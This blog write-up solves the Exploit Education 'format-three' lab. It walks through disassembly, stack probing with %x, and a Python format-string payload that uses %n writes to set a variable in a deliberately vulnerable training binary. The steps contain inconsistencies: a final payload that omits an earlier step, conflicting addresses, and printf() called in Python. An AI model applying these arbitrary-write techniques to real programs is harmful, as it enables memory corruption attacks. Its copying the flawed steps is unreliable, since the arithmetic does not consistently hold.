Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise
  10. Format Two Writeup - Exploit Education Lab Exercise

If you haven’t done setting-up your lab, feel free to check out my previous article on Exploit.education lab setup

Quick Overview

Similar to Format Two Writeup, Format Three exercise motives are smashing the stack, overwrite arbitrary memory address or variable. However, this Format Three challenge revolves around Format String Vulnerability and quite challenging when exploiting in 64-bit architecture binary.

Disassemble

Disassembling the code will get you overall idea behind the format-two code, One can use gdb ./format-three to start debugging it in runtime.

  1. gdb ./format-three
  2. Type disassemble main to get the disassembled code (assembly)
   0x080484fc <+0>:     lea    ecx,[esp+0x4]
   0x08048500 <+4>:     and    esp,0xfffffff0
   0x08048503 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048506 <+10>:    push   ebp
   0x08048507 <+11>:    mov    ebp,esp
   0x08048509 <+13>:    push   ecx
   0x0804850a <+14>:    sub    esp,0x1004
   0x08048510 <+20>:    sub    esp,0xc
   0x08048513 <+23>:    push   0x80485e0
   0x08048518 <+28>:    call   0x8048310 <puts@plt>
   0x0804851d <+33>:    add    esp,0x10
   0x08048520 <+36>:    sub    esp,0x4
   0x08048523 <+39>:    push   0xfff
   0x08048528 <+44>:    lea    eax,[ebp-0x1008]
   0x0804852e <+50>:    push   eax
   0x0804852f <+51>:    push   0x0
   0x08048531 <+53>:    call   0x8048320 <read@plt>
   0x08048536 <+58>:    add    esp,0x10
   0x08048539 <+61>:    test   eax,eax
   0x0804853b <+63>:    jg     0x8048547 <main+75>
   0x0804853d <+65>:    sub    esp,0xc
   0x08048540 <+68>:    push   0x1
   0x08048542 <+70>:    call   0x8048330 <exit@plt>
   0x08048547 <+75>:    sub    esp,0xc
   0x0804854a <+78>:    lea    eax,[ebp-0x1008]
   0x08048550 <+84>:    push   eax
   0x08048551 <+85>:    call   0x80484e5 <bounce>
   0x08048556 <+90>:    add    esp,0x10
   0x08048559 <+93>:    mov    eax,ds:0x8049844
   0x0804855e <+98>:    cmp    eax,0x64457845
   0x08048563 <+103>:   jne    0x8048577 <main+123>
   0x08048565 <+105>:   sub    esp,0xc
   0x08048568 <+108>:   push   0x8048630
   0x0804856d <+113>:   call   0x8048310 <puts@plt>
   0x08048572 <+118>:   add    esp,0x10
   0x08048575 <+121>:   jmp    0x804858d <main+145>
   0x08048577 <+123>:   mov    eax,ds:0x8049844
   0x0804857c <+128>:   sub    esp,0x8
   0x0804857f <+131>:   push   eax
   0x08048580 <+132>:   push   0x8048670
   0x08048585 <+137>:   call   0x8048300 <printf@plt>
   0x0804858a <+142>:   add    esp,0x10
   0x0804858d <+145>:   sub    esp,0xc
   0x08048590 <+148>:   push   0x0
   0x08048592 <+150>:   call   0x8048330 <exit@plt>

Before taking a look at the code, if you disassembled the format-two using gdb to view the assembly instruction, you may notice the puts, fgets, sprintf function calls with parameters. So basically when you hit r in gdb without breakpoint,

  1. Greet with Welcome to phoenix/format-three, brought to you by https://exploit.education message via Puts (aka printf) method
  2. The main function starts by declaring a character buffer of size 4096 and printing the welcome message. It then reads input from the standard input stream into the buffer. If the read is unsuccessful, the program exits with a failure status.
  3. Next, the program calls the bounce function, which takes a character pointer as an argument and prints the string pointed to by that pointer using the printf function.
  4. After calling the bounce function, the program checks if the value of the changeme variable is equal to 0x64457845. If it is, the program prints a success message. Otherwise, it prints a failure message that includes the current value of the changeme variable.

Memory Allocation - Exploit Strategy

If you take closer look at the memory allocation, changeme variable it’s placed on the stack before buffer char array. There is no way you could overflow buffer overflow variable and overwrite changeme variable. However, introducing %n format modifier string can perform this magic by overwriting the address using format string vulnerability.

Our first step is to print “AAAA” temporarily and find the padding where it gets stored in the stack memory. We can start our exploration with couple of %x which helps in printing the address of the stack,

user@phoenix-amd64:/opt/phoenix/i486$ echo -e 'AAAA%x.%x.%x.%x.%x.\n' | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAA0.0.0.f7f81cf7.f7ffb000.

Better luck next time - got 0x00000000, wanted 0x64457845!

Our experiment continues untill we find AAAA or 41414141 in the stack and eventually we come to know that it occurs at the 11th padding,

user@phoenix-amd64:/opt/phoenix/i486$ echo -e 'AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n' | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAA0.0.0.f7f81cf7.f7ffb000.ffffd718.8048556.ffffc710.ffffc710.fff.0.41414141

Better luck next time - got 0x00000000, wanted 0x64457845!

Now that we found the padding, it’s time to find the exact memory address of changeme variable. For 64-bit binary format-three it should be 0x600a90 and 32-bit binary should be 0x8049844. While performing the exploit, I personally found 64-bit arch challenging due to few reasons discussed in the next section.

So, let’s come up with a payload for 32-bit arch format-three binary first. Since, changeme now requires to be 0x64457845 which is pretty huge number and I don’t think we have enough bytes to overwrite the memory address. However, there is a workaround by spliting the address into 4 bytes (32 Bit platform) and each byte gets a specific number of junk bytes to overwrite. For example, \x44\x98\x04\x08 can try writing 45 first and carry forward to next bytes if any overflow.

One can start overwriting single byte with trial and error method, starting changeme+0 with padding 11 yields

changeme = 0x8049844

buff = ""
buff += p32(changeme+0) 
buff += p32(changeme+1) 
buff += p32(changeme+2) 
buff += p32(changeme+3) 

buff += '%x ' * 11      # offset to first byte
buff += "%n"

print(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0
Better luck next time - got 0x00000051, wanted 0x64457845!
  1. When changeme+0 is getting overwritten as 0x00000051 but our target was 0x00000045 matching 0x64457845. We could try pushing few more junk characters and bump 51 to 145. So, we now require 0x145 - 0x51 i.e in decimal 244 characters to be written.
changeme = 0x8049844

buff = ""
buff += p32(changeme+0) 
buff += p32(changeme+1) 
buff += p32(changeme+2) 
buff += p32(changeme+3) 

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 244       # JUNK
buff += "%n"   

print(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x00000145, wanted 0x64457845!
  1. When changeme+1 is getting overwritten as 0x00000145 but our target was 0x00007845 matching 0x64457845. We could try pushing few more junk characters and bump 145 to 178. So, we now require 0x178 - 0x145 i.e in decimal 51 characters to be written.
changeme = 0x8049844

buff = ""
buff += p32(changeme+0) 
buff += p32(changeme+1) 
buff += p32(changeme+2) 
buff += p32(changeme+3) 

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 244       # JUNK
buff += "%n"            # write to first byte

buff += 'A' * 51        # JUNK
buff += "%n"            # write to second byte
printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x00017845, wanted 0x64457845!
  1. When changeme+2 is getting overwritten as 0x00000178 but our target was 0x00457845 matching 0x64457845. We could try pushing few more junk characters and bump 178 to 245. So, we now require 0x245 - 0x178 i.e in decimal 205 characters to be written.
changeme = 0x8049844

buff = ""
buff += p32(changeme+0) 
buff += p32(changeme+1) 
buff += p32(changeme+2) 
buff += p32(changeme+3) 

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 244       # JUNK
buff += "%n"            # write to first byte

buff += 'A' * 51        # JUNK
buff += "%n"            # write to second byte

buff += 'A' * 205        # JUNK
buff += "%n"            # write to second byte

printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Better luck next time - got 0x02457845, wanted 0x64457845!
  1. When changeme+3 is getting overwritten as 0x00000245 but our target was 0x64457845 matching 0x64457845. We could try pushing few more junk characters and bump 245 to 264. So, we now require 0x264 - 0x245 i.e in decimal 31 characters to be written.
changeme = 0x8049844

buff = ""
buff += p32(changeme+0) 
buff += p32(changeme+1) 
buff += p32(changeme+2) 
buff += p32(changeme+3) 

buff += '%x ' * 11      # offset to first byte

buff += 'A' * 244       
buff += "%n"            # write to first byte

buff += 'A' * 51        
buff += "%n"            # write to second byte

buff += 'A' * 31        
buff += "%n"            # write to third byte

printf(buff)
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed correctly!

So, you might be wondering where is that carry over 2 from 264 🤣 - Consider it as inflation and cost-of-living.

Challenge faced while exploiting 64-bit binary

As mentioned above while going through memory address of changeme variable in the stack of 64-bit binary should be 0x600af0 and it contains unreasonable characters 😥 - \x00 and \0a null character & new line terminator which is interpreted by the strncpy function and completely terminates the argument while copying to the buffer.

However, there might be better strategy to overcome this issue by altering environment variables that may push the address or placing the address to the end of the string in payload.

Exploit

Now, our strategy should be,

  1. Input format string as above python file execution results pipe-ing to format-three binary
  2. Now, printf overwrites the changeme using random address from stack.
user@phoenix-amd64:/opt/phoenix/i486$ python $HOME/format-three.py | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
D�E�F�G�0 0 0 f7f81cf7 f7ffb000 ffffd718 8048556 ffffc710 ffffc710 fff 0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Well done, the 'changeme' variable has been changed correctly!

There you go! 🎉 You’ve officially pwned and you may eventually gain code execution in upcoming exercises 🪲

buffer-overflow-pride

Source and Reference:

  1. Format Three Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox